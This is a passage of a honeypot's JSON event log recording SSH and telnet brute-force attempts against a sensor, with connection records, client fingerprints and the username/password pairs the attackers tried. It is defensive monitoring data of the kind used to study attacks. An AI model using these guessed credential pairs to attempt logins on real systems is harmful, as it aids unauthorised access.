0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:16.830668Z","src_ip":"43.163.119.215","session":"d76b68cba827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:17.553748Z","src_ip":"43.163.119.215","session":"d76b68cba827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00137782096863,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:17.847082Z","src_ip":"186.189.112.16","session":"9a77e6f11980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148344039917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:18.111160Z","src_ip":"186.189.112.16","session":"a85f02f5c744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57981,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e20e451fb95","protocol":"telnet","message":"New connection: 186.189.112.16:57981 (10.17.0.5:23) [session: 7e20e451fb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:18.153954Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:18.792972Z","src_ip":"43.163.119.215","session":"d76b68cba827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15526,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a10bcd5b80e","protocol":"telnet","message":"New connection: 186.189.112.16:15526 (10.17.0.5:23) [session: 9a10bcd5b80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:19.421182Z"}
{"eventid":"cowrie.session.closed","duration":120.00587582588196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:24.121953Z","src_ip":"186.189.112.16","session":"28f0e320a25f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6813c9d11d67","protocol":"ssh","message":"New connection: 103.75.199.4:38612 (159.203.135.109:22) [session: 6813c9d11d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:24.646520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:24.651457Z","src_ip":"103.75.199.4","session":"6813c9d11d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:24.747158Z","src_ip":"103.75.199.4","session":"6813c9d11d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:25.020698Z","src_ip":"103.75.199.4","session":"6813c9d11d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:26.118494Z","src_ip":"103.75.199.4","session":"6813c9d11d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15412,"dst_ip":"10.17.0.5","dst_port":23,"session":"49fcd58ff237","protocol":"telnet","message":"New connection: 186.189.112.16:15412 (10.17.0.5:23) [session: 49fcd58ff237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:27.436741Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":42470,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72f7b5936d6","protocol":"ssh","message":"New connection: 43.163.119.215:42470 (10.17.0.5:22) [session: b72f7b5936d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:30.167295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:30.173220Z","src_ip":"43.163.119.215","session":"b72f7b5936d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:30.420813Z","src_ip":"43.163.119.215","session":"b72f7b5936d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e72716ff6d","protocol":"ssh","message":"New connection: 43.163.119.215:34154 (10.17.0.5:22) [session: e5e72716ff6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:30.935432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:30.941235Z","src_ip":"43.163.119.215","session":"e5e72716ff6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.162245Z","src_ip":"43.163.119.215","session":"b72f7b5936d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.191034Z","src_ip":"43.163.119.215","session":"e5e72716ff6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1ad23e1141","protocol":"ssh","message":"New connection: 43.163.119.215:42472 (10.17.0.5:22) [session: 8a1ad23e1141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.551053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.556093Z","src_ip":"43.163.119.215","session":"8a1ad23e1141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.787250Z","src_ip":"43.163.119.215","session":"8a1ad23e1141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:31.959238Z","src_ip":"43.163.119.215","session":"e5e72716ff6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:32.505853Z","src_ip":"43.163.119.215","session":"b72f7b5936d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:32.626794Z","src_ip":"43.163.119.215","session":"8a1ad23e1141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:33.208022Z","src_ip":"43.163.119.215","session":"e5e72716ff6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:33.860229Z","src_ip":"43.163.119.215","session":"8a1ad23e1141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38858,"dst_ip":"10.17.0.5","dst_port":22,"session":"edfd50f0de07","protocol":"ssh","message":"New connection: 43.163.119.215:38858 (10.17.0.5:22) [session: edfd50f0de07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:35.576376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:35.584431Z","src_ip":"43.163.119.215","session":"edfd50f0de07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:35.829401Z","src_ip":"43.163.119.215","session":"edfd50f0de07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:36.542951Z","src_ip":"43.163.119.215","session":"edfd50f0de07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:37.783873Z","src_ip":"43.163.119.215","session":"edfd50f0de07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":48730,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0de74ecf2b5","protocol":"ssh","message":"New connection: 205.209.121.72:48730 (10.17.0.5:22) [session: c0de74ecf2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:42.265698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:42.270367Z","src_ip":"205.209.121.72","session":"c0de74ecf2b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:42.275899Z","src_ip":"205.209.121.72","session":"c0de74ecf2b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:42.327908Z","src_ip":"205.209.121.72","session":"c0de74ecf2b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:43.339515Z","src_ip":"205.209.121.72","session":"c0de74ecf2b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":56248,"dst_ip":"10.17.0.5","dst_port":22,"session":"149742479132","protocol":"ssh","message":"New connection: 67.102.183.113:56248 (10.17.0.5:22) [session: 149742479132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:43.432820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:43.437617Z","src_ip":"67.102.183.113","session":"149742479132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:43.508610Z","src_ip":"67.102.183.113","session":"149742479132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:43.826970Z","src_ip":"67.102.183.113","session":"149742479132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:44.901585Z","src_ip":"67.102.183.113","session":"149742479132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":44206,"dst_ip":"159.203.135.109","dst_port":22,"session":"178d05345353","protocol":"ssh","message":"New connection: 186.116.56.108:44206 (159.203.135.109:22) [session: 178d05345353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.318351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.322730Z","src_ip":"186.116.56.108","session":"178d05345353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"